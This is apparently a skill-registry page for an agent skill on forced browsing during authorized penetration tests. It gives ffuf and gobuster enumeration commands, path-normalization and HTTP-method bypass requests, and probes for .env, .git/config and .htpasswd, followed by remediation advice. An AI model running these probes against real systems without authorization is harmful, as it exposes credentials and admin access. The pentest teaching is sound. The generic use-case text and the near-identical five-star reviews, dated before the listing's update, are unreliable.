bypassing-authentication-with-forced-browsing▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.
| name | bypassing-authentication-with-forced-browsing |
| description | Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - authentication-bypass - forced-browsing - ffuf - directory-enumeration - owasp |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Bypassing Authentication with Forced Browsing
When to Use
- During authorized penetration tests to discover hidden or unprotected administrative pages
- When testing whether authentication is consistently enforced across all application endpoints
- For identifying backup files, configuration files, and debug interfaces left exposed in production
- When assessing access control on API endpoints that should require authentication
- During security audits to validate that all sensitive resources enforce session validation
Prerequisites
- Authorization: Written penetration testing agreement covering directory enumeration
- ffuf: Fast web fuzzer (
go install github.com/ffuf/ffuf/v2@latest) - Gobuster: Directory brute-force tool (
apt install gobuster) - Burp Suite: For intercepting and analyzing requests and responses
- Wordlists: SecLists collection (
git clone https://github.com/danielmiessler/SecLists.git) - Target access: Network connectivity and valid test credentials for authenticated comparison
Workflow
Step 1: Enumerate Hidden Directories and Files
Use ffuf or Gobuster to discover paths not linked in the application's navigation.
# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 \
-fc 404 \
-o results-dirs.json -of json \
-t 50 -rate 100
# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
-mc 200,301,302,403 \
-fc 404 \
-o results-files.json -of json \
-t 50 -rate 100
# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-s "200,204,301,302,307,403" \
-x php,asp,aspx,jsp,html \
-o gobuster-results.txt \
-t 50
Step 2: Discover Administrative and Debug Interfaces
Target common administrative paths and debug endpoints.
# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302 \
-t 50 -rate 100
# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status
# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403 \
-fc 404 \
-o api-results.json -of json
# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
"https://target.example.com/actuator/$endpoint"
done
Step 3: Test Authentication Enforcement on Discovered Endpoints
Compare responses between unauthenticated and authenticated requests.
# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/admin/dashboard"
# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
-b "session=valid_session_token_here" \
"https://target.example.com/admin/dashboard"
# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c
# Authenticated request
curl -s -b "session=valid_token" \
"https://target.example.com/admin/users" | wc -c
# If both return similar content, authentication is not enforced
# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses
Step 4: Test HTTP Method-Based Authentication Bypass
Some applications only enforce authentication for specific HTTP methods.
# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" "https://target.example.com/admin/settings"
done
# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "X-HTTP-Method-Override: GET" \
"https://target.example.com/admin/settings"
curl -s -o /dev/null -w "%{http_code}" \
-H "X-Original-Method: GET" \
-H "X-Rewrite-URL: /admin/settings" \
"https://target.example.com/"
Step 5: Test Path Traversal and URL Normalization Bypass
Exploit URL parsing differences to bypass path-based authentication rules.
# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"
# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"
# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"
Step 6: Discover Backup and Configuration Files
Search for sensitive files inadvertently exposed on the web server.
# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
-mc 200 -t 50 -rate 100
# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
web.config wp-config.php.bak config.php.old \
database.yml .htpasswd server-status phpinfo.php \
robots.txt sitemap.xml crossdomain.xml; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/$file")
if [ "$status" != "404" ]; then
echo "FOUND ($status): $file"
fi
done
# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed
Key Concepts
| Concept | Description |
|---|---|
| Forced Browsing | Directly accessing URLs that are not linked but exist on the server |
| Directory Enumeration | Brute-forcing directory and file names against a wordlist to discover hidden content |
| Authentication Bypass | Accessing protected resources without valid credentials due to missing access checks |
| Path Normalization | Exploiting differences in how web servers and application frameworks parse URL paths |
| Method-based Bypass | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks |
| Information Disclosure | Exposure of sensitive configuration files, backups, or debug interfaces |
| Defense in Depth | Layered security controls where authentication is enforced at multiple levels |
Tools & Systems
| Tool | Purpose |
|---|---|
| ffuf | Fast web fuzzer for directory, file, and parameter enumeration |
| Gobuster | Directory and DNS brute-forcing tool written in Go |
| Feroxbuster | Recursive content discovery tool with automatic recursion |
| DirBuster | OWASP Java-based directory brute-force tool with GUI |
| Burp Suite | HTTP proxy for request interception and automated scanning |
| SecLists | Comprehensive collection of wordlists for security testing |
Common Scenarios
Scenario 1: Exposed Admin Panel
An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.
Scenario 2: Unprotected API Endpoints
API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.
Scenario 3: Backup File Containing Credentials
A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.
Scenario 4: Spring Boot Actuator Exposure
The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.
Output Format
## Forced Browsing / Authentication Bypass Finding
**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control
### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |
### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository
### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints
How to use bypassing-authentication-with-forced-browsing on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add bypassing-authentication-with-forced-browsing
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches bypassing-authentication-with-forced-browsing from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate bypassing-authentication-with-forced-browsing. Access the skill through slash commands (e.g., /bypassing-authentication-with-forced-browsing) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.5★★★★★45 reviews- ★★★★★Jin Ghosh· Dec 20, 2024
bypassing-authentication-with-forced-browsing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Sofia Rahman· Dec 12, 2024
Solid pick for teams standardizing on skills: bypassing-authentication-with-forced-browsing is focused, and the summary matches what you get after install.
- ★★★★★Sofia Yang· Dec 8, 2024
bypassing-authentication-with-forced-browsing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Dhruvi Jain· Dec 4, 2024
We added bypassing-authentication-with-forced-browsing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Sofia Martin· Nov 27, 2024
Keeps context tight: bypassing-authentication-with-forced-browsing is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Sofia Harris· Nov 27, 2024
Registry listing for bypassing-authentication-with-forced-browsing matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Diego White· Nov 27, 2024
bypassing-authentication-with-forced-browsing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Oshnikdeep· Nov 23, 2024
bypassing-authentication-with-forced-browsing reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Sofia Ramirez· Nov 11, 2024
I recommend bypassing-authentication-with-forced-browsing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Sakura Mensah· Nov 3, 2024
bypassing-authentication-with-forced-browsing has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 45